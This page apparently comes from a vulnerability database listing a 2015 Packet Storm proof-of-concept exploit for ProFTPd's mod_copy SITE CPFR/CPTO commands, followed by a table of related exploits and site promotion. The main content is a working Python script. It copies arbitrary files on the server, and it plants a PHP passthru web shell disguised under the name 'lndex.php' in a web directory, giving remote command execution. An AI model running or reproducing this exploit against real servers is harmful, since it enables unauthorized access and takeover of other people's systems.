Lucene search
+L

ProFTPd CPFR / CPTO Proof Of Concept

🗓️ 22 Apr 2015 00:00:00Reported by daldanaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 651 Views

ProFTPd CPFR / CPTO Proof Of Concept exploi

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Improper Access Control in Proftpd
2 Nov 202520:36
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-1999-0368
17 Feb 202615:41
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Access Control in Proftpd
7 Sep 202620:36
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Access Control in Proftpd
3 Jun 202613:18
–githubexploit
githubexploit
GithubExploit
cybersecurity-exam-report
10 Jul 202609:49
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Access Control in Proftpd
8 Jan 201714:19
–githubexploit
githubexploit
GithubExploit
CY376_-AHENKORA_JOSEPH-
3 Aug 202601:43
–githubexploit
zdt
zdt
ProFTPd 1.3.5 - Remote Command Execution Exploit
21 Apr 201500:00
–zdt
zdt
zdt
ProFTPD 1.3.5 Mod_Copy Command Execution Exploit
10 Jun 201500:00
–zdt
zdt
zdt
ProFTPd 1.3.5 - (mod_copy) Remote Command Execution Exploit (2)
26 May 202100:00
–zdt
Rows per page
`'''  
*** for educational purpouse ONLY! ***  
  
c0ded by daldana. (daniel.aldana.moreno ___at__ gmail.com)  
please, first read https://github.com/chcx/cpx_proftpd/  
'''  
  
  
import sys  
from ftplib import FTP   
  
  
def main(argv):  
  
  
if len(argv) == 4:  
ip = argv[1]  
src = argv[2]  
dst = argv[3]  
option = 1  
  
elif len(argv) == 3:  
ip = argv[1]  
dst = argv[2]  
option = 2  
  
else:  
print 'please check the readme file.-'  
sys.exit(2)  
  
try:   
ftp = FTP(ip)  
  
except:  
print 'connection refused.-'  
sys.exit(2)  
  
  
if option == 1:  
  
print 'YOU ARE TRYING METHOD ONE:'  
  
cmd1 = 'SITE CPFR ' + src  
cmd2 = 'SITE CPTO ' + dst  
  
  
try:  
res1 = ftp.sendcmd(cmd1)  
except:  
print 'NO SUCH FILE :('  
sys.exit(2)   
  
  
try:  
res2 = ftp.sendcmd(cmd2)  
print 'NICE! TRY NOW! :)'  
  
except:  
print 'YOU DON\'T HAVE PERMISSION :('  
sys.exit(2)  
  
  
if option == 2:  
print 'YOU ARE TRYING METHOD TWO:'  
cmd1 = 'SITE CPFR /proc/self/cmdline'  
cmd2 = 'SITE CPTO /tmp/...<?php passthru($_GET[\'img\']);?>'  
cmd3 = 'SITE CPFR /tmp/...<?php passthru($_GET[\'img\']);?>'  
cmd4 = 'SITE CPTO ' + dst + '/lndex.php'  
print 'UPLOADING in ' + dst + '/lndex.php'  
  
  
try:  
res1 = ftp.sendcmd(cmd1)  
except:  
print 'NO SUCH FILE OR PERMISSION FOR CMDLINE :('  
sys.exit(2)   
  
  
try:  
res2 = ftp.sendcmd(cmd2)  
except:  
print 'YOU DON\'T HAVE PERMISSION :('  
sys.exit(2)  
  
try:  
res3 = ftp.sendcmd(cmd3)  
res4 = ftp.sendcmd(cmd4)  
print 'NICE! TRY NOW! :)'  
  
except:  
print 'PROBLEMS ;('  
  
  
  
  
  
if __name__ == "__main__":  
main(sys.argv)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Apr 2015 00:00Current
8.7High risk
Vulners AI Score8.7
EPSS0.96752
651